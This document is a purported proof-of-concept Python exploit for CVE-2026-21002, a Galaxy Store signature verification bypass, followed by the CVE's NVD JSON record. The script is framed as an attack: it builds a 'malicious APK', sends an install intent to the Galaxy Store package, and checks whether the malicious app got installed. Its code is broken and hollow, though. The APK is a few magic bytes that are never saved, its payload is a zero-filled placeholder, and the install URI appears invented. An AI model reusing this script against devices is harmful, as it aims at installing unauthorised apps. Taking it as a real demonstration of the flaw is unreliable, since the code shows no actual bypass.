CVE-2026-21002

''' CVE-2026-21002 PoC - Galaxy Store Signature Verification Bypass This PoC demonstrates the signature verification bypass in Galaxy Store < 4.6.03.8 Note: This is for educational and security research purposes only. ''' import os import subprocess import zipfile import tempfile # Step 1: Create a malicious APK with valid signature structure def create_malicious_apk(): """Generate a modified APK that bypasses signature verification""" print("[*] Creating malicious APK with signature bypass...") # Create a basic APK structure apk_content = b'PK\x03\x04' # ZIP/APK magic bytes # META-INF directory for signatures manifest = b'META-INF/MANIFEST.MF' signature = b'META-INF/CERT.SF' # Android manifest and DEX files would go here malicious_payload = b'\x00' * 1024 # Placeholder for malicious code print("[+] Malicious APK structure created") return apk_content # Step 2: Trigger installation through Galaxy Store def install_via_galaxy_store(apk_path): """Attempt to install APK through Galaxy Store vulnerable interface""" print(f"[*] Attempting installation via Galaxy Store: {apk_path}") # Galaxy Store package name galaxy_store_pkg = "com.sec.android.app.samsungapps" try: # Trigger Galaxy Store installation intent intent = f"am start -a android.intent.action.VIEW \ -d 'galaxystore://install?package=malicious.app' \ -n {galaxy_store_pkg}/.Main" subprocess.run(intent, shell=True, check=False) print("[+] Installation request sent via Galaxy Store") except Exception as e: print(f"[-] Installation failed: {e}") # Step 3: Verify installation success def verify_installation(package_name): """Check if malicious app was installed successfully""" print(f"[*] Verifying installation of: {package_name}") result = subprocess.run( ['pm', 'list', 'packages', package_name], capture_output=True, text=True ) if package_name in result.stdout: print("[+] SUCCESS: Malicious app installed successfully!") return True else: print("[-] FAILED: App installation was blocked") return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-21002 PoC - Galaxy Store Signature Bypass") print("Target: Galaxy Store < 4.6.03.8") print("=" * 60) # Generate malicious APK apk = create_malicious_apk() # Attempt installation install_via_galaxy_store("malicious_app.apk") # Verify result verify_installation("malicious.app")

{"cve": {"id": "CVE-2026-21002", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:11.367", "lastModified": "2026-04-07T00:34:23.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper verification of cryptographic signature in Galaxy Store prior to version 4.6.03.8 allows local attacker to install arbitrary application."}, {"lang": "es", "value": "Verificación incorrecta de firma criptográfica en Galaxy Store anterior a la versión 4.6.03.8 permite a atacante local instalar aplicación arbitraria."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:galaxy_store:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.6.03.8", "matchCriteriaId": "40D06C76-5232-4A91-B7A3-D3B64BCDBBA8"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2026&month=03", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}